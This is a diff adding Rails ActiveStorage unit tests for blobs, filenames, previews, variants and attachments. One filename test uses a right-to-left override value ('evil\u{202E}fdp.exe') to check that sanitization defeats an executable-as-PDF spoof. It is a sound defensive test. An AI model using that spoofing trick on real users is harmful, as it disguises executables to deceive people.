+    blobs = 3.times.map { create_blob(data: "123", filename: "numbers.txt", content_type: "text/plain", identify: false) }
+    blob = ActiveStorage::Blob.compose(blobs, key: "custom_key", filename: "all_numbers.txt")
+
+    assert_equal "custom_key", blob.key
+    assert_equal "123123123", blob.download
+  end
+
+  test "image?" do
+    blob = create_file_blob filename: "racecar.jpg"
+    assert_predicate blob, :image?
+    assert_not_predicate blob, :audio?
+  end
+
+  test "video?" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4")
+    assert_predicate blob, :video?
+    assert_not_predicate blob, :audio?
+  end
+
+  test "text?" do
+    blob = create_blob data: "Hello world!"
+    assert_predicate blob, :text?
+    assert_not_predicate blob, :audio?
+  end
+
+  test "download yields chunks" do
+    blob   = create_blob data: "a" * 5.0625.megabytes
+    chunks = []
+
+    blob.download do |chunk|
+      chunks << chunk
+    end
+
+    assert_equal 2, chunks.size
+    assert_equal "a" * 5.megabytes, chunks.first
+    assert_equal "a" * 64.kilobytes, chunks.second
+  end
+
+  test "open yielding with integrity" do
+    create_file_blob(filename: "racecar.jpg").tap do |blob|
+      blob.open do |file|
+        assert_predicate file, :binmode?
+        assert_equal 0, file.pos
+        assert File.basename(file.path).start_with?("ActiveStorage-#{blob.id}-")
+        assert file.path.end_with?(".jpg")
+        assert_equal file_fixture("racecar.jpg").binread, file.read, "Expected downloaded file to match fixture file"
+      end
+    end
+  end
+
+  test "open returning with integrity" do
+    file = nil
+    create_file_blob(filename: "racecar.jpg").tap do |blob|
+      file = blob.open
+
+      assert_predicate file, :binmode?
+      assert_equal 0, file.pos
+      assert File.basename(file.path).start_with?("ActiveStorage-#{blob.id}-")
+      assert file.path.end_with?(".jpg")
+      assert_equal file_fixture("racecar.jpg").binread, file.read, "Expected downloaded file to match fixture file"
+    ensure
+      file&.close!
+    end
+  end
+
+  test "open without integrity" do
+    create_blob(data: "Hello, world!").tap do |blob|
+      blob.update! checksum: OpenSSL::Digest::MD5.base64digest("Goodbye, world!")
+
+      assert_raises ActiveStorage::IntegrityError do
+        blob.open { |file| flunk "Expected integrity check to fail" }
+      end
+    end
+  end
+
+  test "open in a custom tmpdir" do
+    create_file_blob(filename: "racecar.jpg").open(tmpdir: tmpdir = Dir.mktmpdir) do |file|
+      assert_predicate file, :binmode?
+      assert_equal 0, file.pos
+      assert_match(/\.jpg\z/, file.path)
+      assert file.path.start_with?(tmpdir)
+      assert_equal file_fixture("racecar.jpg").binread, file.read, "Expected downloaded file to match fixture file"
+    end
+  end
+
+  test "URLs expiring in 5 minutes" do
+    blob = create_blob
+
+    freeze_time do
+      assert_equal expected_url_for(blob), blob.url
+      assert_equal expected_url_for(blob, disposition: :attachment), blob.url(disposition: :attachment)
+    end
+  end
+
+  test "URLs force content_type to binary and attachment as content disposition for content types served as binary" do
+    blob = create_blob(content_type: "text/html")
+
+    freeze_time do
+      assert_equal expected_url_for(blob, disposition: :attachment, content_type: "application/octet-stream"), blob.url
+      assert_equal expected_url_for(blob, disposition: :attachment, content_type: "application/octet-stream"), blob.url(disposition: :inline)
+    end
+  end
+
+  test "URLs force attachment as content disposition when the content type is not allowed inline" do
+    blob = create_blob(content_type: "application/zip")
+
+    freeze_time do
+      assert_equal expected_url_for(blob, disposition: :attachment, content_type: "application/zip"), blob.url
+      assert_equal expected_url_for(blob, disposition: :attachment, content_type: "application/zip"), blob.url(disposition: :inline)
+    end
+  end
+
+  test "URLs allow for custom filename" do
+    blob = create_blob(filename: "original.txt")
+    new_filename = ActiveStorage::Filename.new("new.txt")
+
+    freeze_time do
+      assert_equal expected_url_for(blob), blob.url
+      assert_equal expected_url_for(blob, filename: new_filename), blob.url(filename: new_filename)
+      assert_equal expected_url_for(blob, filename: new_filename), blob.url(filename: "new.txt")
+      assert_equal expected_url_for(blob, filename: blob.filename), blob.url(filename: nil)
+    end
+  end
+
+  test "URLs allow for custom options" do
+    blob = create_blob(filename: "original.txt")
+
+    arguments = [
+      blob.key
+    ]
+
+    kwargs = {
+      expires_in: ActiveStorage.service_urls_expire_in,
+      disposition: :attachment,
+      content_type: blob.content_type,
+      filename: blob.filename,
+      thumb_size: "300x300",
+      thumb_mode: "crop"
+    }
+    assert_called_with(blob.service, :url, arguments, **kwargs) do
+      blob.url(thumb_size: "300x300", thumb_mode: "crop")
+    end
+  end
+
+  test "purge deletes file from external service" do
+    blob = create_blob
+
+    blob.purge
+    assert_not ActiveStorage::Blob.service.exist?(blob.key)
+  end
+
+  test "purge deletes variants from external service with the purge_later" do
+    blob = create_file_blob
+    variant = blob.variant(resize_to_limit: [100, nil]).processed
+
+    blob.purge
+    assert_enqueued_with(job: ActiveStorage::PurgeJob, args: [variant.image.blob])
+  end
+
+  test "purge does nothing when attachments exist" do
+    create_blob.tap do |blob|
+      User.create! name: "DHH", avatar: blob
+      assert_no_difference(-> { ActiveStorage::Blob.count }) { blob.purge }
+      assert ActiveStorage::Blob.service.exist?(blob.key)
+    end
+  end
+
+  test "purge doesn't raise when blob is not persisted" do
+    build_blob_after_unfurling.tap do |blob|
+      assert_nothing_raised { blob.purge }
+      assert_predicate blob, :destroyed?
+    end
+  end
+
+  test "uses service from blob when provided" do
+    with_service("mirror") do
+      blob = create_blob(filename: "funky.jpg", service_name: :local)
+      assert_instance_of ActiveStorage::Service::DiskService, blob.service
+    end
+  end
+
+  test "doesn't create a valid blob if service setting is nil" do
+    with_service(nil) do
+      assert_raises(ActiveRecord::RecordInvalid) do
+        create_blob(filename: "funky.jpg")
+      end
+    end
+  end
+
+  test "invalidates record when provided service_name is invalid" do
+    blob = create_blob(filename: "funky.jpg")
+    blob.update(service_name: :unknown)
+
+    assert_not blob.valid?
+    assert_equal ["is invalid"], blob.errors[:service_name]
+  end
+
+  test "updating the content_type updates service metadata" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg", content_type: "application/octet-stream")
+
+    assert_called_with(blob.service, :update_metadata, [blob.key], content_type: "image/jpeg", custom_metadata: {}) do
+      blob.update!(content_type: "image/jpeg")
+    end
+  end
+
+  test "updating the metadata updates service metadata" do
+    blob = directly_upload_file_blob(filename: "racecar.jpg", content_type: "application/octet-stream")
+
+    expected_arguments = [
+      blob.key
+    ]
+
+    expected_kwargs = {
+      content_type: "application/octet-stream",
+      disposition: :attachment,
+      filename: blob.filename,
+      custom_metadata: { "test" => true }
+    }
+
+    assert_called_with(blob.service, :update_metadata, expected_arguments, **expected_kwargs) do
+      blob.update!(metadata: { custom: { "test" => true } })
+    end
+  end
+
+  test "scope_for_strict_loading adds includes only when track_variants and strict_loading_by_default" do
+    assert_empty ActiveStorage::Blob.scope_for_strict_loading.includes_values
+
+    with_strict_loading_by_default do
+      assert_not_empty ActiveStorage::Blob.scope_for_strict_loading.includes_values
+
+      without_variant_tracking do
+        assert_empty ActiveStorage::Blob.scope_for_strict_loading.includes_values
+      end
+    end
+  end
+
+  private
+    def expected_url_for(blob, disposition: :attachment, filename: nil, content_type: nil, service_name: :local)
+      filename ||= blob.filename
+      content_type ||= blob.content_type
+
+      key_params = { key: blob.key, disposition: ActionDispatch::Http::ContentDisposition.format(disposition: disposition, filename: filename.sanitized), content_type: content_type, service_name: service_name }
+
+      "https://example.com/rails/active_storage/disk/#{ActiveStorage.verifier.generate(key_params, expires_in: 5.minutes, purpose: :blob_key)}/#{filename}"
+    end
+end
diff --git a/activestorage/test/models/filename_test.rb b/activestorage/test/models/filename_test.rb
new file mode 100644
index 0000000000000..ba09c2fba9ae7
--- /dev/null
+++ b/activestorage/test/models/filename_test.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActiveStorage::FilenameTest < ActiveSupport::TestCase
+  test "base" do
+    assert_equal "racecar", ActiveStorage::Filename.new("racecar.jpg").base
+    assert_equal "race.car", ActiveStorage::Filename.new("race.car.jpg").base
+    assert_equal "racecar", ActiveStorage::Filename.new("racecar").base
+  end
+
+  test "extension with delimiter" do
+    assert_equal ".jpg", ActiveStorage::Filename.new("racecar.jpg").extension_with_delimiter
+    assert_equal ".jpg", ActiveStorage::Filename.new("race.car.jpg").extension_with_delimiter
+    assert_equal "", ActiveStorage::Filename.new("racecar").extension_with_delimiter
+  end
+
+  test "extension without delimiter" do
+    assert_equal "jpg", ActiveStorage::Filename.new("racecar.jpg").extension_without_delimiter
+    assert_equal "jpg", ActiveStorage::Filename.new("race.car.jpg").extension_without_delimiter
+    assert_equal "", ActiveStorage::Filename.new("racecar").extension_without_delimiter
+  end
+
+  test "sanitize" do
+    "%$|:;/<>?*\"\t\r\n\\".each_char do |character|
+      filename = ActiveStorage::Filename.new("foo#{character}bar.pdf")
+      assert_equal "foo-bar.pdf", filename.sanitized
+      assert_equal "foo-bar.pdf", filename.to_s
+    end
+  end
+
+  test "sanitize transcodes to valid UTF-8" do
+    { (+"\xF6").force_encoding(Encoding::ISO8859_1) => "ö",
+      (+"\xC3").force_encoding(Encoding::ISO8859_1) => "Ã",
+      "\xAD" => "�",
+      "\xCF" => "�",
+      "\x00" => "",
+    }.each do |actual, expected|
+      assert_equal expected, ActiveStorage::Filename.new(actual).sanitized
+    end
+  end
+
+  test "strips RTL override chars used to spoof unsafe executables as docs" do
+    # Would be displayed in Windows as "evilexe.pdf" due to the right-to-left
+    # (RTL) override char!
+    assert_equal "evil-fdp.exe", ActiveStorage::Filename.new("evil\u{202E}fdp.exe").sanitized
+  end
+
+  test "compare case-insensitively" do
+    assert_operator ActiveStorage::Filename.new("foobar.pdf"), :==, ActiveStorage::Filename.new("FooBar.PDF")
+  end
+
+  test "compare sanitized" do
+    assert_operator ActiveStorage::Filename.new("foo-bar.pdf"), :==, ActiveStorage::Filename.new("foo\tbar.pdf")
+  end
+
+  test "String equality" do
+    assert_operator "foo-bar.pdf", :===, ActiveStorage::Filename.new("foo-bar.pdf")
+    assert_equal "foo-bar.pdf", ActiveStorage::Filename.new("foo-bar.pdf")
+    assert_pattern { ActiveStorage::Filename.new("foo-bar.pdf") => "foo-bar.pdf" }
+  end
+
+  test "encoding to json" do
+    assert_equal '"foo.pdf"', ActiveStorage::Filename.new("foo.pdf").to_json
+    assert_equal '{"filename":"foo.pdf"}', { filename: ActiveStorage::Filename.new("foo.pdf") }.to_json
+    assert_equal '{"filename":"foo.pdf"}', JSON.generate(filename: ActiveStorage::Filename.new("foo.pdf"))
+  end
+end
diff --git a/activestorage/test/models/named_variant_test.rb b/activestorage/test/models/named_variant_test.rb
new file mode 100644
index 0000000000000..7738950558e2f
--- /dev/null
+++ b/activestorage/test/models/named_variant_test.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "minitest/mock"
+
+class ActiveStorage::NamedVariantTest < ActiveSupport::TestCase
+  setup do
+    @user = User.new(name: "joe")
+  end
+
+  test "explicity sets the process to immediate" do
+    named_variant = @user.attachment_reflections["avatar_with_immediate_variants"].named_variants[:immediate_thumb]
+    assert_equal :immediately, named_variant.process(@user)
+  end
+
+  test "explicity sets the process to later" do
+    named_variant = @user.attachment_reflections["avatar_with_later_variants"].named_variants[:later_thumb]
+    assert_equal :later, named_variant.process(@user)
+  end
+
+  test "explicity sets the process to on_demand" do
+    named_variant = @user.attachment_reflections["avatar_with_lazy_variants"].named_variants[:lazy_thumb]
+    assert_equal :lazily, named_variant.process(@user)
+  end
+
+  test "defaults process to lazy" do
+    named_variant = @user.attachment_reflections["avatar_with_lazy_variants"].named_variants[:default_thumb]
+    assert_equal :lazily, named_variant.process(@user)
+  end
+
+  test "sets the process to later conditionally via preprocessed method" do
+    named_variant = @user.attachment_reflections["avatar_with_conditional_preprocessed"].named_variants[:method]
+    assert_not_equal :later, named_variant.process(@user)
+
+    @user.name = "transform via method"
+    assert_equal :later, named_variant.process(@user)
+  end
+
+  test "sets the process to later conditionally via preprocessed proc" do
+    named_variant = @user.attachment_reflections["avatar_with_conditional_preprocessed"].named_variants[:proc]
+    assert_not_equal :later, named_variant.process(@user)
+
+    @user.update(name: "transform via proc")
+    assert_equal :later, named_variant.process(@user)
+  end
+
+  test "sets the process to later conditionally via preprocessed boolean" do
+    @user = User.create(name: "joe")
+    named_variant = @user.attachment_reflections["avatar_with_preprocessed"].named_variants[:bool]
+    assert_equal :later, named_variant.process(@user)
+  end
+end
diff --git a/activestorage/test/models/presence_validation_test.rb b/activestorage/test/models/presence_validation_test.rb
new file mode 100644
index 0000000000000..13ba3c900d018
--- /dev/null
+++ b/activestorage/test/models/presence_validation_test.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::PresenceValidationTest < ActiveSupport::TestCase
+  class Admin < User; end
+
+  teardown do
+    Admin.clear_validators!
+  end
+
+  test "validates_presence_of has_one_attached" do
+    Admin.validates_presence_of :avatar
+    a = Admin.new(name: "DHH")
+    assert_predicate a, :invalid?
+
+    a.avatar.attach create_blob(filename: "funky.jpg")
+    assert_predicate a, :valid?
+  end
+
+  test "validates_presence_of has_many_attached" do
+    Admin.validates_presence_of :highlights
+    a = Admin.new(name: "DHH")
+    assert_predicate a, :invalid?
+
+    a.highlights.attach create_blob(filename: "funky.jpg")
+    assert_predicate a, :valid?
+  end
+end
diff --git a/activestorage/test/models/preview_test.rb b/activestorage/test/models/preview_test.rb
new file mode 100644
index 0000000000000..5e91ef82daa9c
--- /dev/null
+++ b/activestorage/test/models/preview_test.rb
@@ -0,0 +1,121 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::PreviewTest < ActiveSupport::TestCase
+  test "previewing a PDF" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    preview = blob.preview(resize_to_limit: [640, 280]).processed
+
+    assert_predicate preview.image, :attached?
+    assert_equal "report.png", preview.image.filename.to_s
+    assert_equal "image/png", preview.image.content_type
+
+    image = read_image(preview.image)
+    assert_equal 612, image.width
+    assert_equal 792, image.height
+  end
+
+  test "previewing a cropped PDF" do
+    blob = create_file_blob(filename: "cropped.pdf", content_type: "application/pdf")
+    preview = blob.preview(resize_to_limit: [640, 280]).processed
+
+    assert_predicate preview.image, :attached?
+    assert_equal "cropped.png", preview.image.filename.to_s
+    assert_equal "image/png", preview.image.content_type
+
+    image = read_image(preview.image)
+    assert_equal 430, image.width
+    assert_equal 145, image.height
+  end
+
+  test "previewing a PDF-based Illustrator file" do
+    blob = create_file_blob(fixture: "report.pdf", filename: "file.ai", content_type: "application/illustrator")
+    preview = blob.preview(resize_to_limit: [640, 280]).processed
+
+    assert_predicate preview.image, :attached?
+    assert_equal "file.png", preview.image.filename.to_s
+    assert_equal "image/png", preview.image.content_type
+
+    image = read_image(preview.image)
+    assert_equal 612, image.width
+    assert_equal 792, image.height
+  end
+
+  test "previewing an MP4 video" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4")
+    preview = blob.preview(resize_to_limit: [640, 280]).processed
+
+    assert_predicate preview.image, :attached?
+    assert_equal "video.jpg", preview.image.filename.to_s
+    assert_equal "image/jpeg", preview.image.content_type
+
+    image = read_image(preview.image)
+    assert_equal 640, image.width
+    assert_equal 480, image.height
+  end
+
+  test "previewing an unpreviewable blob" do
+    blob = create_file_blob
+    assert_raises ActiveStorage::UnpreviewableError, match: /blob with ID=\d+ and content_type=image\/jpeg/ do
+      blob.preview resize_to_limit: [640, 280]
+    end
+  end
+
+  test "previewing on the writer DB" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+
+    # prevent_writes option is required because there is no automatic write protection anymore
+    ActiveRecord::Base.connected_to(role: ActiveRecord.reading_role, prevent_writes: true) do
+      blob.preview(resize_to_limit: [640, 280]).processed
+    end
+
+    assert_predicate blob.reload.preview_image, :attached?
+  end
+
+  test "#processed also processes the preview's image variant" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    transformations = { resize_to_limit: [640, 280] }
+    preview = blob.preview(transformations)
+
+    assert_changes -> { !!preview.image.variant(transformations)&.processed? }, to: true do
+      preview.processed
+    end
+  end
+
+  test "image-related methods raise UnprocessedError when preview is not processed" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    preview = blob.preview(resize_to_limit: [640, 280])
+
+    assert_raises(ActiveStorage::Preview::UnprocessedError) { preview.url }
+    assert_raises(ActiveStorage::Preview::UnprocessedError) { preview.key }
+    assert_raises(ActiveStorage::Preview::UnprocessedError) { preview.download }
+  end
+
+  test "previewing with empty transformations does not generate a variant" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    preview = blob.preview({})
+
+    preview.processed
+
+    freeze_time { assert_equal blob.preview_image.url, preview.url }
+    assert_equal blob.preview_image.key, preview.key
+    assert_equal blob.preview_image.download, preview.download
+    assert_empty preview.image.variant_records
+  end
+
+  test "preview of PDF is created on the same service" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf", service_name: "local_public")
+    preview = blob.preview(resize_to_limit: [640, 280]).processed
+
+    assert_equal "local_public", preview.image.blob.service_name
+  end
+
+  test "preview of MP4 video is created on the same service" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4", service_name: "local_public")
+    preview = blob.preview(resize_to_limit: [640, 280]).processed
+
+    assert_equal "local_public", preview.image.blob.service_name
+  end
+end
diff --git a/activestorage/test/models/reflection_test.rb b/activestorage/test/models/reflection_test.rb
new file mode 100644
index 0000000000000..215243853d41b
--- /dev/null
+++ b/activestorage/test/models/reflection_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActiveStorage::ReflectionTest < ActiveSupport::TestCase
+  test "reflecting on a singular attachment" do
+    reflection = User.reflect_on_attachment(:avatar)
+    assert_equal User, reflection.active_record
+    assert_equal :avatar, reflection.name
+    assert_equal :has_one_attached, reflection.macro
+    assert_equal :purge_later, reflection.options[:dependent]
+
+    reflection = User.reflect_on_attachment(:cover_photo)
+    assert_equal :local, reflection.options[:service_name]
+
+    reflection = User.reflect_on_attachment(:avatar_with_variants)
+    assert_instance_of Hash, reflection.named_variants
+
+    reflection = User.reflect_on_attachment(:avatar_with_immediate_analysis)
+    assert_equal :immediately, reflection.options[:analyze]
+  end
+
+  test "reflection on a singular attachment with the same name as an attachment on another model" do
+    reflection = Group.reflect_on_attachment(:avatar)
+    assert_equal Group, reflection.active_record
+  end
+
+  test "reflecting on a collection attachment" do
+    reflection = User.reflect_on_attachment(:highlights)
+    assert_equal User, reflection.active_record
+    assert_equal :highlights, reflection.name
+    assert_equal :has_many_attached, reflection.macro
+    assert_equal :purge_later, reflection.options[:dependent]
+
+    reflection = User.reflect_on_attachment(:vlogs)
+    assert_equal :local, reflection.options[:service_name]
+
+    reflection = User.reflect_on_attachment(:highlights_with_variants)
+    assert_instance_of Hash, reflection.named_variants
+  end
+
+  test "reflecting on all attachments" do
+    reflections = User.reflect_on_all_attachments.sort_by(&:name)
+    assert_equal [ User ], reflections.collect(&:active_record).uniq
+    assert_equal [ :avatar, :avatar_with_conditional_preprocessed, :avatar_with_immediate_analysis, :avatar_with_immediate_variants, :avatar_with_later_analysis, :avatar_with_later_variants, :avatar_with_lazy_analysis, :avatar_with_lazy_variants, :avatar_with_preprocessed, :avatar_with_variants, :cover_photo, :highlights, :highlights_with_conditional_preprocessed, :highlights_with_immediate_variants, :highlights_with_preprocessed, :highlights_with_variants, :intro_video, :name_pronunciation_audio, :resume, :resume_with_preprocessing, :vlogs ], reflections.collect(&:name)
+    assert_equal [ :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_many_attached, :has_many_attached, :has_many_attached, :has_many_attached, :has_many_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_one_attached, :has_many_attached ], reflections.collect(&:macro)
+    assert_equal [ :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, false, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, :purge_later, false ], reflections.collect { |reflection| reflection.options[:dependent] }
+  end
+end
diff --git a/activestorage/test/models/representation_test.rb b/activestorage/test/models/representation_test.rb
new file mode 100644
index 0000000000000..b91d70cfd108c
--- /dev/null
+++ b/activestorage/test/models/representation_test.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::RepresentationTest < ActiveSupport::TestCase
+  test "representing an image" do
+    blob = create_file_blob
+    representation = blob.representation(resize_to_limit: [100, 100]).processed
+
+    image = read_image(representation.image)
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "representing a PDF" do
+    blob = create_file_blob(filename: "report.pdf", content_type: "application/pdf")
+    representation = blob.representation(resize_to_limit: [640, 280]).processed
+
+    image = read_image(representation.image)
+    assert_equal 612, image.width
+    assert_equal 792, image.height
+  end
+
+  test "representing a PDF-based Illustrator file" do
+    blob = create_file_blob(fixture: "report.pdf", filename: "file.ai", content_type: "application/illustrator")
+    representation = blob.representation(resize_to_limit: [640, 280]).processed
+
+    image = read_image(representation.image)
+    assert_equal 612, image.width
+    assert_equal 792, image.height
+  end
+
+  test "representing an MP4 video" do
+    blob = create_file_blob(filename: "video.mp4", content_type: "video/mp4")
+    representation = blob.representation(resize_to_limit: [640, 280]).processed
+
+    image = read_image(representation.image)
+    assert_equal 640, image.width
+    assert_equal 480, image.height
+  end
+
+  test "representing an unrepresentable blob" do
+    blob = create_blob
+    assert_raises ActiveStorage::UnrepresentableError, match: /blob with ID=\d+ and content_type=text\/plain/ do
+      blob.representation resize_to_limit: [100, 100]
+    end
+  end
+end
diff --git a/activestorage/test/models/strict_loading_test.rb b/activestorage/test/models/strict_loading_test.rb
new file mode 100644
index 0000000000000..9a4c655136eeb
--- /dev/null
+++ b/activestorage/test/models/strict_loading_test.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+
+class ActiveStorage::StrictLoadingTest < ActiveSupport::TestCase
+  class Admin < User
+    has_one_attached :image, strict_loading: true
+    has_many_attached :images, strict_loading: true
+  end
+
+  setup do
+    Admin.create!(name: "David")
+  end
+
+  test "has_one_attached raises if strict loading and lazy loading" do
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      admins = Admin.all
+      admins.as_json(include: :image)
+    end
+  end
+
+  test "has_many_attached raises if strict loading and lazy loading" do
+    assert_raises ActiveRecord::StrictLoadingViolationError do
+      admins = Admin.all
+      admins.as_json(include: :images)
+    end
+  end
+end
diff --git a/activestorage/test/models/variant_test.rb b/activestorage/test/models/variant_test.rb
new file mode 100644
index 0000000000000..08945713b0daf
--- /dev/null
+++ b/activestorage/test/models/variant_test.rb
@@ -0,0 +1,315 @@
+# frozen_string_literal: true
+
+require "test_helper"
+require "database/setup"
+require "minitest/mock"
+
+class ActiveStorage::VariantTest < ActiveSupport::TestCase
+  setup do
+    @was_tracking, ActiveStorage.track_variants = ActiveStorage.track_variants, false
+  end
+
+  teardown do
+    ActiveStorage.track_variants = @was_tracking
+  end
+
+  test "variations have the same key for different types of the same transformation" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant_a = blob.variant(resize_to_limit: [100, 100])
+    variant_b = blob.variant("resize_to_limit" => [100, 100])
+
+    assert_equal variant_a.key, variant_b.key
+  end
+
+  test "resized variation of JPEG blob" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_limit: [100, 100]).processed
+    assert_match(/racecar\.jpg/, variant.url)
+
+    image = read_image(variant)
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+  end
+
+  test "resized and monochrome variation of JPEG blob" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_limit: [100, 100], colourspace: "b-w").processed
+    assert_match(/racecar\.jpg/, variant.url)
+
+    image = read_image(variant)
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+    assert_match(/Gray/, image.colorspace)
+  end
+
+  test "monochrome with default variant_processor" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(colourspace: "b-w").processed
+    image = read_image(variant)
+    assert_match(/Gray/, image.colorspace)
+  end
+
+  test "disabled variation of JPEG blob" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_limit: [100, 100], colourspace: "srgb").processed
+    assert_match(/racecar\.jpg/, variant.url)
+
+    image = read_image(variant)
+    assert_equal 100, image.width
+    assert_equal 67, image.height
+    assert_match(/RGB/, image.colorspace)
+  end
+
+  test "center-weighted crop of JPEG blob using :resize_to_fill" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(resize_to_fill: [100, 100]).processed
+    assert_match(/racecar\.jpg/, variant.url)
+
+    image = read_image(variant)
+    assert_equal 100, image.width
+    assert_equal 100, image.height
+  end
+
+  test "resized variation of PSD blob" do
+    blob = create_file_blob(filename: "icon.psd", content_type: "image/vnd.adobe.photoshop")
+    variant = blob.variant(resize_to_limit: [20, 20]).processed
+    assert_match(/icon\.png/, variant.url)
+
+    image = read_image(variant)
+    assert_equal "PNG", image.type
+    assert_equal 20, image.width
+    assert_equal 20, image.height
+  end
+
+  test "resized variation of ICO blob" do
+    blob = create_file_blob(filename: "favicon.ico", content_type: "image/vnd.microsoft.icon")
+    variant = blob.variant(resize_to_limit: [20, 20]).processed
+    assert_match(/icon\.png/, variant.url)
+
+    image = read_image(variant)
+    assert_equal "PNG", image.type
+    assert_equal 20, image.width
+    assert_equal 20, image.height
+  end
+
+  test "resized variation of TIFF blob" do
+    blob = create_file_blob(filename: "racecar.tif")
+    variant = blob.variant(resize_to_limit: [50, 50]).processed
+    assert_match(/racecar\.png/, variant.url)
+
+    image = read_image(variant)
+    assert_equal "PNG", image.type
+    assert_equal 50, image.width
+    assert_equal 33, image.height
+  end
+
+  test "resized variation of BMP blob" do
+    blob = create_file_blob(filename: "colors.bmp", content_type: "image/bmp")
+    variant = blob.variant(resize_to_limit: [15, 15]).processed
+    assert_match(/colors\.png/, variant.url)
+
+    image = read_image(variant)
+    assert_equal "PNG", image.type
+    assert_equal 15, image.width
+    assert_equal 8, image.height
+  end
+
+  test "resized variation of WEBP blob" do
+    blob = create_file_blob(filename: "valley.webp")
+    variant = blob.variant(resize_to_limit: [50, 50]).processed
+    assert_match(/valley\.webp/, variant.url)
+
+    image = read_image(variant)
+    assert_equal "WEBP", image.type
+    assert_equal 50, image.width
+    assert_includes [33, 34], image.height
+  end
+
+  test "optimized variation of GIF blob" do
+    blob = create_file_blob(filename: "image.gif", content_type: "image/gif")
+
+    process_variants_with :vips do
+      assert_nothing_raised do
+        blob.variant(saver: { optimize_gif_frames: true, optimize_gif_transparency: true }).processed
+      end
+    end
+
+    process_variants_with :mini_magick do
+      assert_nothing_raised do
+        blob.variant(layers: "Optimize").processed
+      end
+    end
+  end
+
+  test "PNG variation of JPEG blob with lowercase format" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(format: :png).processed
+    assert_equal "racecar.png", variant.filename.to_s
+    assert_equal "image/png", variant.content_type
+    assert_equal "PNG", read_image(variant).type
+  end
+
+  test "PNG variation of JPEG blob with uppercase format" do
+    blob = create_file_blob(filename: "racecar.jpg")
+    variant = blob.variant(format: "PNG").processed
+    assert_equal "racecar.png", variant.filename.to_s
+    assert_equal "image/png", variant.content_type
+    assert_equal "PNG", read_image(variant).type
+  end
+
+  test "variation of invariable blob" do
+    assert_raises ActiveStorage::InvariableError, match: /blob with ID=\d+ and content_type=application\/pdf/ do
+      create_file_blob(filename: "report.pdf", content_type: "application/pdf").variant(resize_to_limit: [100, 100])
+    end
+  end
+
+  test "url doesn't grow in length despite long variant options" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      variant = blob.variant(font: "a" * 10_000).processed
+      assert_operator variant.url.length, :<, 785
+    end
+  end
+
+  test "thumbnail variation of JPEG blob processed with VIPS" do
+    process_variants_with :vips do
+      blob = create_file_blob(filename: "racecar.jpg")
+      variant = blob.variant(thumbnail_image: 100).processed
+
+      image = read_image(variant)
+      assert_equal 100, image.width
+      assert_equal 67, image.height
+    end
+  end
+
+  test "thumbnail variation of extensionless GIF blob processed with VIPS" do
+    process_variants_with :vips do
+      blob = ActiveStorage::Blob.create_and_upload!(io: file_fixture("image.gif").open, filename: "image", content_type: "image/gif")
+      variant = blob.variant(resize_to_fit: [100, 100]).processed
+
+      image = read_image(variant)
+      assert_equal "image.gif", variant.filename.to_s
+      assert_equal "image/gif", variant.content_type
+      assert_equal "GIF", image.type
+      assert_equal 100, image.width
+      assert_equal 100, image.height
+    end
+  end
+
+  test "passes content_type on upload" do
+    blob = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+
+    mock_upload = lambda do |_, _, options = {}|
+      assert_equal "image/jpeg", options[:content_type]
+    end
+
+    blob.service.stub(:upload, mock_upload) do
+      blob.variant(resize_to_limit: [100, 100]).processed
+    end
+  end
+
+  test "content_type not recognized by marcel isn't included as variable" do
+    blob = create_file_blob(filename: "racecar.jpg")
+
+    # image/jpg is not recognized by marcel (image/jpeg is correct)
+    blob.update(content_type: "image/jpg")
+
+    assert_raises(ActiveStorage::InvariableError) do
+      blob.variant(resize_to_limit: [100, 100])
+    end
+
+    assert_nil blob.send(:format)
+    assert_equal :png, blob.send(:default_variant_format)
+  end
+
+  test "variations with dangerous argument string raise UnsupportedImageProcessingArgument" do
+    process_variants_with :mini_magick do
+      blob = create_file_blob(filename: "racecar.jpg")
+      assert_raise(ActiveStorage::Transformers::ImageProcessingTransformer::UnsupportedImageProcessingArgument) do
